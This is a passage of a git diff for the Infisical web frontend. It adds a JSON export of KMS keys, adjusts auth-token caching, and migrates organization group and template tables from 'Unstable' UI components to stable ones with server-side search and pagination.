+        cmek={popUp.exportKey.data as TCmek}
+      />
     </motion.div>
   );
 };
diff --git a/frontend/src/pages/kms/OverviewPage/components/DeleteCmekModal.tsx b/frontend/src/pages/kms/OverviewPage/components/DeleteCmekModal.tsx
index 62389d1ba7c..a67546a94c4 100644
--- a/frontend/src/pages/kms/OverviewPage/components/DeleteCmekModal.tsx
+++ b/frontend/src/pages/kms/OverviewPage/components/DeleteCmekModal.tsx
@@ -6,9 +6,10 @@ type Props = {
   cmek: TCmek;
   isOpen: boolean;
   onOpenChange: (isOpen: boolean) => void;
+  onDeleted?: (keyId: string) => void;
 };
 
-export const DeleteCmekModal = ({ isOpen, onOpenChange, cmek }: Props) => {
+export const DeleteCmekModal = ({ isOpen, onOpenChange, cmek, onDeleted }: Props) => {
   const deleteCmek = useDeleteCmek();
 
   if (!cmek) return null;
@@ -26,6 +27,7 @@ export const DeleteCmekModal = ({ isOpen, onOpenChange, cmek }: Props) => {
       type: "success"
     });
 
+    onDeleted?.(keyId);
     onOpenChange(false);
   };
 
diff --git a/frontend/src/pages/kms/OverviewPage/components/jsonExport.ts b/frontend/src/pages/kms/OverviewPage/components/jsonExport.ts
new file mode 100644
index 00000000000..d6a4eb1819e
--- /dev/null
+++ b/frontend/src/pages/kms/OverviewPage/components/jsonExport.ts
@@ -0,0 +1,46 @@
+import FileSaver from "file-saver";
+
+import { KmsKeyUsage, TCmekBulkExportedKey } from "@app/hooks/api/cmeks/types";
+
+type CmekExportEntry =
+  | {
+      name: string;
+      keyType: "encrypt-decrypt";
+      algorithm: string;
+      keyMaterial: string;
+    }
+  | {
+      name: string;
+      keyType: "sign-verify";
+      algorithm: string;
+      privateKey: string;
+      publicKey: string;
+    };
+
+export const cmekKeysToExportJSON = (keys: TCmekBulkExportedKey[]): CmekExportEntry[] => {
+  return keys.map((key) => {
+    if (key.keyUsage === KmsKeyUsage.SIGN_VERIFY) {
+      return {
+        name: key.name,
+        keyType: "sign-verify" as const,
+        algorithm: key.algorithm,
+        privateKey: key.privateKey,
+        publicKey: key.publicKey ?? ""
+      };
+    }
+
+    return {
+      name: key.name,
+      keyType: "encrypt-decrypt" as const,
+      algorithm: key.algorithm,
+      keyMaterial: key.privateKey
+    };
+  });
+};
+
+export const downloadJSON = (data: unknown, filename: string) => {
+  const blob = new Blob([JSON.stringify(data, null, 2)], {
+    type: "application/json;charset=utf-8;"
+  });
+  FileSaver.saveAs(blob, filename);
+};
diff --git a/frontend/src/pages/middlewares/authenticate.tsx b/frontend/src/pages/middlewares/authenticate.tsx
index c040a865467..8890b420fae 100644
--- a/frontend/src/pages/middlewares/authenticate.tsx
+++ b/frontend/src/pages/middlewares/authenticate.tsx
@@ -18,7 +18,8 @@ export const Route = createFileRoute("/_authenticate")({
     const data = await context.queryClient
       .fetchQuery({
         queryKey: authKeys.getAuthToken,
-        queryFn: fetchAuthToken
+        queryFn: fetchAuthToken,
+        staleTime: 0
       })
       .catch(() => {
         createNotification({
diff --git a/frontend/src/pages/middlewares/inject-org-details.tsx b/frontend/src/pages/middlewares/inject-org-details.tsx
index e84189d5526..3692bab8ec6 100644
--- a/frontend/src/pages/middlewares/inject-org-details.tsx
+++ b/frontend/src/pages/middlewares/inject-org-details.tsx
@@ -40,7 +40,6 @@ export const Route = createFileRoute("/_authenticate/_inject-org-details")({
 
           if (!isMfaEnabled && token) {
             SecurityClient.setToken(token);
-            SecurityClient.setProviderAuthToken("");
 
             context.queryClient.removeQueries({ queryKey: authKeys.getAuthToken });
             context.queryClient.removeQueries({ queryKey: projectKeys.getAllUserProjects() });
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsSection.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsSection.tsx
index d0898b30909..c0a9a062cbc 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsSection.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsSection.tsx
@@ -7,13 +7,13 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import {
   OrgPermissionGroupActions,
@@ -82,16 +82,16 @@ export const OrgGroupsSection = () => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             {isSubOrganization ? "Sub-" : ""}Organization Groups
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/groups" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>
+          </CardTitle>
+          <CardDescription>
             Create and manage {isSubOrganization ? "sub-" : ""}organization groups
-          </UnstableCardDescription>
-          <UnstableCardAction>
+          </CardDescription>
+          <CardAction>
             <OrgPermissionCan I={OrgPermissionGroupActions.Create} a={OrgPermissionSubjects.Groups}>
               {(isAllowed) => (
                 <Button
@@ -106,12 +106,12 @@ export const OrgGroupsSection = () => {
                 </Button>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <OrgGroupsTable handlePopUpOpen={handlePopUpOpen} />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <OrgGroupModal
         popUp={popUp}
         handlePopUpClose={handlePopUpClose}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsTable.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsTable.tsx
index f6ed3e33ef6..25d0a18fbe7 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsTable.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgGroupsTab/components/OrgGroupsSection/OrgGroupsTable.tsx
@@ -1,4 +1,4 @@
-import { useCallback, useMemo, useState } from "react";
+import { useCallback, useState } from "react";
 import { useNavigate } from "@tanstack/react-router";
 import {
   ChevronDownIcon,
@@ -16,10 +16,22 @@ import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
   OrgIcon,
+  Pagination,
   Select,
   SelectContent,
   SelectItem,
@@ -27,24 +39,12 @@ import {
   SelectValue,
   Skeleton,
   SubOrgIcon,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import {
@@ -53,7 +53,7 @@ import {
   setUserTablePreference
 } from "@app/helpers/userTablePreferences";
 import { usePagination, useResetPageHelper } from "@app/hooks";
-import { useGetOrganizationGroups, useGetOrgRoles, useUpdateGroup } from "@app/hooks/api";
+import { useGetOrgRoles, useSearchOrganizationGroups, useUpdateGroup } from "@app/hooks/api";
 import { OrderByDirection } from "@app/hooks/api/generic/types";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
@@ -88,7 +88,6 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
   const navigate = useNavigate();
   const { currentOrg, isSubOrganization } = useOrganization();
   const orgId = currentOrg?.id || "";
-  const { isPending, data: groups = [] } = useGetOrganizationGroups(orgId);
   const { mutateAsync: updateMutateAsync } = useUpdateGroup();
 
   const { data: roles } = useGetOrgRoles(orgId);
@@ -118,7 +117,8 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
     orderBy,
     setOrderBy,
     setOrderDirection,
-    toggleOrderDirection
+    toggleOrderDirection,
+    debouncedSearch
   } = usePagination<GroupsOrderBy>(GroupsOrderBy.Name, {
     initPerPage: getUserTablePreference("orgGroupsTable", PreferenceKey.PerPage, 20)
   });
@@ -147,39 +147,17 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
 
   const isTableFiltered = Boolean(filter.roles.length);
 
-  const filteredGroups = useMemo(() => {
-    const filtered = groups?.filter(({ name, slug, role, customRole }) => {
-      if (filter.roles.length) {
-        const effectiveRole = role === "custom" ? customRole?.slug : role;
-        if (!effectiveRole || !filter.roles.includes(effectiveRole)) {
-          return false;
-        }
-      }
-
-      if (search) {
-        return (
-          name.toLowerCase().includes(search.toLowerCase()) ||
-          slug.toLowerCase().includes(search.toLowerCase())
-        );
-      }
-      return true;
-    });
-
-    const ordered = filtered?.sort((a, b) => {
-      switch (orderBy) {
-        case GroupsOrderBy.Role: {
-          const aValue = a.role === "custom" ? (a.customRole?.name as string) : a.role;
-          const bValue = b.role === "custom" ? (b.customRole?.name as string) : b.role;
-
-          return aValue.toLowerCase().localeCompare(bValue.toLowerCase());
-        }
-        default:
-          return a[orderBy].toLowerCase().localeCompare(b[orderBy].toLowerCase());
-      }
-    });
+  const { isPending, data } = useSearchOrganizationGroups({
+    organizationId: orgId,
+    offset,
+    limit: perPage,
+    search: debouncedSearch,
+    roles: filter.roles.length ? filter.roles : undefined,
+    orderBy,
+    orderDirection
+  });
 
-    return orderDirection === OrderByDirection.ASC ? ordered : ordered?.reverse();
-  }, [search, groups, orderBy, orderDirection, filter]);
+  const { groups: sortedGroups = [], totalCount = 0 } = data ?? {};
 
   const handleSort = (column: GroupsOrderBy) => {
     if (column === orderBy) {
@@ -192,13 +170,11 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
   };
 
   useResetPageHelper({
-    totalCount: filteredGroups.length,
+    totalCount,
     offset,
     setPage
   });
 
-  const filteredGroupsPage = filteredGroups.slice(offset, perPage * page);
-
   return (
     <div>
       <div className="mb-4 flex gap-2">
@@ -212,23 +188,23 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
             placeholder={`Search ${isSubOrganization ? "sub-" : ""}organization groups...`}
           />
         </InputGroup>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton
               variant={
                 // eslint-disable-next-line no-nested-ternary
                 isTableFiltered ? (isSubOrganization ? "sub-org" : "org") : "outline"
               }
             >
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuLabel>
               Filter by {isSubOrganization ? "Sub-" : ""}Organization Role
-            </UnstableDropdownMenuLabel>
+            </DropdownMenuLabel>
             {roles?.map(({ id, slug, name }) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={id}
                 checked={filter.roles.includes(slug)}
                 onClick={(e) => {
@@ -238,32 +214,32 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
                 }}
               >
                 {name}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
-      {!isPending && !filteredGroups?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
-              {groups.length
-                ? `No ${isSubOrganization ? "sub-" : ""}organization groups match ${search ? "search" : "filter criteria"}`
+      {!isPending && !sortedGroups.length ? (
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
+              {debouncedSearch || isTableFiltered
+                ? `No ${isSubOrganization ? "sub-" : ""}organization groups match ${debouncedSearch ? "search" : "filter criteria"}`
                 : `No ${isSubOrganization ? "sub-" : ""}organization groups found`}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
-              {groups.length
+            </EmptyTitle>
+            <EmptyDescription>
+              {debouncedSearch || isTableFiltered
                 ? "Adjust your search or filter criteria."
                 : "Create a group to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead className="w-1/3" onClick={() => handleSort(GroupsOrderBy.Name)}>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-1/3" onClick={() => handleSort(GroupsOrderBy.Name)}>
                   Name
                   <ChevronDownIcon
                     className={twMerge(
@@ -274,8 +250,8 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== GroupsOrderBy.Name && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead className="w-1/3" onClick={() => handleSort(GroupsOrderBy.Slug)}>
+                </TableHead>
+                <TableHead className="w-1/3" onClick={() => handleSort(GroupsOrderBy.Slug)}>
                   Slug
                   <ChevronDownIcon
                     className={twMerge(
@@ -286,8 +262,8 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== GroupsOrderBy.Slug && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead
+                </TableHead>
+                <TableHead
                   className={isSubOrganization ? "w-1/3" : ""}
                   onClick={() => handleSort(GroupsOrderBy.Role)}
                 >
@@ -301,214 +277,212 @@ export const OrgGroupsTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== GroupsOrderBy.Role && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                {isSubOrganization && <UnstableTableHead>Managed By</UnstableTableHead>}
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                {isSubOrganization && <TableHead>Managed By</TableHead>}
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isPending &&
                 Array.from({ length: perPage }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
+                    </TableCell>
                     {isSubOrganization && (
-                      <UnstableTableCell>
+                      <TableCell>
                         <Skeleton className="h-4 w-full" />
-                      </UnstableTableCell>
+                      </TableCell>
                     )}
-                    <UnstableTableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isPending &&
-                filteredGroupsPage.map(
-                  ({ id, name, slug, role, customRole, orgId: groupOrgId }) => {
-                    const isLinkedGroup = currentOrg ? groupOrgId !== currentOrg.id : false;
-                    const isManagedBySubOrg = currentOrg ? groupOrgId === currentOrg.id : false;
-                    return (
-                      <UnstableTableRow
-                        key={`org-group-${id}`}
-                        className="cursor-pointer"
-                        onClick={() =>
-                          navigate({
-                            to: "/organizations/$orgId/groups/$groupId",
-                            params: {
-                              orgId,
-                              groupId: id
-                            }
-                          })
-                        }
-                      >
-                        <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-                        <UnstableTableCell isTruncatable>{slug}</UnstableTableCell>
-                        <UnstableTableCell>
-                          <OrgPermissionCan
-                            I={OrgPermissionGroupActions.Edit}
-                            a={OrgPermissionSubjects.Groups}
-                          >
-                            {(isAllowed) => (
-                              <Select
-                                value={role === "custom" ? (customRole?.slug as string) : role}
-                                disabled={!isAllowed}
-                                onValueChange={(selectedRole) =>
-                                  handleChangeRole({
-                                    id,
-                                    role: selectedRole
-                                  })
-                                }
-                              >
-                                <SelectTrigger
-                                  size="sm"
-                                  className="w-full max-w-32 lg:max-w-64"
-                                  onClick={(e) => e.stopPropagation()}
-                                >
-                                  <SelectValue />
-                                </SelectTrigger>
-                                <SelectContent className="max-w-32 lg:max-w-64">
-                                  {(roles || []).map(({ slug: roleSlug, name: roleName }) => (
-                                    <SelectItem value={roleSlug} key={`role-option-${roleSlug}`}>
-                                      {roleName}
-                                    </SelectItem>
-                                  ))}
-                                </SelectContent>
-                              </Select>
-                            )}
-                          </OrgPermissionCan>
-                        </UnstableTableCell>
-                        {isSubOrganization && (
-                          <UnstableTableCell>
-                            <Badge variant={isManagedBySubOrg ? "sub-org" : "org"}>
-                              {isManagedBySubOrg ? (
-                                <>
-                                  <SubOrgIcon />
-                                  Sub-Organization
-                                </>
-                              ) : (
-                                <>
-                                  <OrgIcon />
-                                  Root Organization
-                                </>
-                              )}
-                            </Badge>
-                          </UnstableTableCell>
-                        )}
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton
-                                variant="ghost"
-                                size="xs"
+                sortedGroups.map(({ id, name, slug, role, customRole, orgId: groupOrgId }) => {
+                  const isLinkedGroup = currentOrg ? groupOrgId !== currentOrg.id : false;
+                  const isManagedBySubOrg = currentOrg ? groupOrgId === currentOrg.id : false;
+                  return (
+                    <TableRow
+                      key={`org-group-${id}`}
+                      className="cursor-pointer"
+                      onClick={() =>
+                        navigate({
+                          to: "/organizations/$orgId/groups/$groupId",
+                          params: {
+                            orgId,
+                            groupId: id
+                          }
+                        })
+                      }
+                    >
+                      <TableCell isTruncatable>{name}</TableCell>
+                      <TableCell isTruncatable>{slug}</TableCell>
+                      <TableCell>
+                        <OrgPermissionCan
+                          I={OrgPermissionGroupActions.Edit}
+                          a={OrgPermissionSubjects.Groups}
+                        >
+                          {(isAllowed) => (
+                            <Select
+                              value={role === "custom" ? (customRole?.slug as string) : role}
+                              disabled={!isAllowed}
+                              onValueChange={(selectedRole) =>
+                                handleChangeRole({
+                                  id,
+                                  role: selectedRole
+                                })
+                              }
+                            >
+                              <SelectTrigger
+                                size="sm"
+                                className="w-full max-w-32 lg:max-w-64"
                                 onClick={(e) => e.stopPropagation()}
                               >
-                                <MoreHorizontalIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent sideOffset={2} align="end">
-                              <UnstableDropdownMenuItem
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  navigator.clipboard.writeText(id);
-                                  createNotification({
-                                    text: "Copied group ID to clipboard",
-                                    type: "info"
-                                  });
-                                }}
-                              >
-                                <CopyIcon />
-                                Copy Group ID
-                              </UnstableDropdownMenuItem>
-                              {!isLinkedGroup && (
-                                <OrgPermissionCan
-                                  I={OrgPermissionGroupActions.Edit}
-                                  a={OrgPermissionSubjects.Groups}
-                                >
-                                  {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
-                                      onClick={(e) => {
-                                        e.stopPropagation();
-                                        handlePopUpOpen("group", {
-                                          groupId: id,
-                                          name,
-                                          slug,
-                                          role,
-                                          customRole
-                                        });
-                                      }}
-                                      isDisabled={!isAllowed}
-                                    >
-                                      <PencilIcon />
-                                      Edit Group
-                                    </UnstableDropdownMenuItem>
-                                  )}
-                                </OrgPermissionCan>
-                              )}
-                              {!isLinkedGroup && (
-                                <OrgPermissionCan
-                                  I={OrgPermissionGroupActions.Edit}
-                                  a={OrgPermissionSubjects.Groups}
-                                >
-                                  {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
-                                      onClick={() =>
-                                        navigate({
-                                          to: "/organizations/$orgId/groups/$groupId",
-                                          params: {
-                                            orgId,
-                                            groupId: id
-                                          }
-                                        })
-                                      }
-                                      isDisabled={!isAllowed}
-                                    >
-                                      <UsersIcon />
-                                      Manage Members
-                                    </UnstableDropdownMenuItem>
-                                  )}
-                                </OrgPermissionCan>
-                              )}
+                                <SelectValue />
+                              </SelectTrigger>
+                              <SelectContent className="max-w-32 lg:max-w-64">
+                                {(roles || []).map(({ slug: roleSlug, name: roleName }) => (
+                                  <SelectItem value={roleSlug} key={`role-option-${roleSlug}`}>
+                                    {roleName}
+                                  </SelectItem>
+                                ))}
+                              </SelectContent>
+                            </Select>
+                          )}
+                        </OrgPermissionCan>
+                      </TableCell>
+                      {isSubOrganization && (
+                        <TableCell>
+                          <Badge variant={isManagedBySubOrg ? "sub-org" : "org"}>
+                            {isManagedBySubOrg ? (
+                              <>
+                                <SubOrgIcon />
+                                Sub-Organization
+                              </>
+                            ) : (
+                              <>
+                                <OrgIcon />
+                                Root Organization
+                              </>
+                            )}
+                          </Badge>
+                        </TableCell>
+                      )}
+                      <TableCell>
+                        <DropdownMenu>
+                          <DropdownMenuTrigger asChild>
+                            <IconButton
+                              variant="ghost"
+                              size="xs"
+                              onClick={(e) => e.stopPropagation()}
+                            >
+                              <MoreHorizontalIcon />
+                            </IconButton>
+                          </DropdownMenuTrigger>
+                          <DropdownMenuContent sideOffset={2} align="end">
+                            <DropdownMenuItem
+                              onClick={(e) => {
+                                e.stopPropagation();
+                                navigator.clipboard.writeText(id);
+                                createNotification({
+                                  text: "Copied group ID to clipboard",
+                                  type: "info"
+                                });
+                              }}
+                            >
+                              <CopyIcon />
+                              Copy Group ID
+                            </DropdownMenuItem>
+                            {!isLinkedGroup && (
                               <OrgPermissionCan
-                                I={OrgPermissionGroupActions.Delete}
+                                I={OrgPermissionGroupActions.Edit}
                                 a={OrgPermissionSubjects.Groups}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
-                                    variant="danger"
+                                  <DropdownMenuItem
                                     onClick={(e) => {
                                       e.stopPropagation();
-                                      handlePopUpOpen("deleteGroup", {
+                                      handlePopUpOpen("group", {
                                         groupId: id,
                                         name,
-                                        isLinkedGroup
+                                        slug,
+                                        role,
+                                        customRole
                                       });
                                     }}
                                     isDisabled={!isAllowed}
                                   >
-                                    <TrashIcon />
-                                    {isLinkedGroup ? "Unlink Group" : "Delete Group"}
-                                  </UnstableDropdownMenuItem>
+                                    <PencilIcon />
+                                    Edit Group
+                                  </DropdownMenuItem>
+                                )}
+                              </OrgPermissionCan>
+                            )}
+                            {!isLinkedGroup && (
+                              <OrgPermissionCan
+                                I={OrgPermissionGroupActions.Edit}
+                                a={OrgPermissionSubjects.Groups}
+                              >
+                                {(isAllowed) => (
+                                  <DropdownMenuItem
+                                    onClick={() =>
+                                      navigate({
+                                        to: "/organizations/$orgId/groups/$groupId",
+                                        params: {
+                                          orgId,
+                                          groupId: id
+                                        }
+                                      })
+                                    }
+                                    isDisabled={!isAllowed}
+                                  >
+                                    <UsersIcon />
+                                    Manage Members
+                                  </DropdownMenuItem>
                                 )}
                               </OrgPermissionCan>
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
-                    );
-                  }
-                )}
-            </UnstableTableBody>
-          </UnstableTable>
-          {Boolean(filteredGroups.length) && (
-            <UnstablePagination
-              count={filteredGroups.length}
+                            )}
+                            <OrgPermissionCan
+                              I={OrgPermissionGroupActions.Delete}
+                              a={OrgPermissionSubjects.Groups}
+                            >
+                              {(isAllowed) => (
+                                <DropdownMenuItem
+                                  variant="danger"
+                                  onClick={(e) => {
+                                    e.stopPropagation();
+                                    handlePopUpOpen("deleteGroup", {
+                                      groupId: id,
+                                      name,
+                                      isLinkedGroup
+                                    });
+                                  }}
+                                  isDisabled={!isAllowed}
+                                >
+                                  <TrashIcon />
+                                  {isLinkedGroup ? "Unlink Group" : "Delete Group"}
+                                </DropdownMenuItem>
+                              )}
+                            </OrgPermissionCan>
+                          </DropdownMenuContent>
+                        </DropdownMenu>
+                      </TableCell>
+                    </TableRow>
+                  );
+                })}
+            </TableBody>
+          </Table>
+          {Boolean(totalCount) && (
+            <Pagination
+              count={totalCount}
               page={page}
               perPage={perPage}
               onChangePage={setPage}
diff --git a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityAuthTemplatesTable.tsx b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityAuthTemplatesTable.tsx
index 5635564255d..ca73df210a8 100644
--- a/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityAuthTemplatesTable.tsx
+++ b/frontend/src/pages/organization/AccessManagementPage/components/OrgIdentityTab/components/IdentitySection/IdentityAuthTemplatesTable.tsx
@@ -11,27 +11,27 @@ import { twMerge } from "tailwind-merge";
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
   Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { INFISICAL_SCHEDULE_DEMO_LINK } from "@app/const/links";
 import { OrgPermissionSubjects, useOrganization, useSubscription } from "@app/context";
@@ -124,47 +124,45 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
   const renderContent = () => {
     if (!subscription.machineIdentityAuthTemplates) {
       return (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
-              This feature has not been activated for your license.
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>Contact us to learn more.</UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-          <UnstableEmptyContent>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>This feature has not been activated for your license.</EmptyTitle>
+            <EmptyDescription>Contact us to learn more.</EmptyDescription>
+          </EmptyHeader>
+          <EmptyContent>
             <Button size="sm" variant={isSubOrganization ? "sub-org" : "org"} asChild>
               <a href={INFISICAL_SCHEDULE_DEMO_LINK} target="_blank" rel="noopener noreferrer">
                 Talk to Us
               </a>
             </Button>
-          </UnstableEmptyContent>
-        </UnstableEmpty>
+          </EmptyContent>
+        </Empty>
       );
     }
 
     if (!isPending && !templates.length) {
       return (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {isFiltered
                 ? "No templates match search filter"
                 : "No identity auth templates have been added"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {isFiltered ? "Adjust your search criteria." : "Create a template to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       );
     }
 
     return (
       <>
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead
                 className="w-1/4 cursor-pointer"
                 onClick={() => handleSort(TemplatesOrderBy.Name)}
               >
@@ -178,8 +176,8 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                     orderBy !== TemplatesOrderBy.Name && "opacity-30"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead
+              </TableHead>
+              <TableHead
                 className="w-1/4 cursor-pointer"
                 onClick={() => handleSort(TemplatesOrderBy.AuthMethod)}
               >
@@ -193,50 +191,46 @@ export const IdentityAuthTemplatesTable = ({ handlePopUpOpen }: Props) => {
                     orderBy !== TemplatesOrderBy.AuthMethod && "opacity-30"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead>URL</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead>URL</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {isPending &&
               Array.from({ length: perPage }).map((_, i) => (
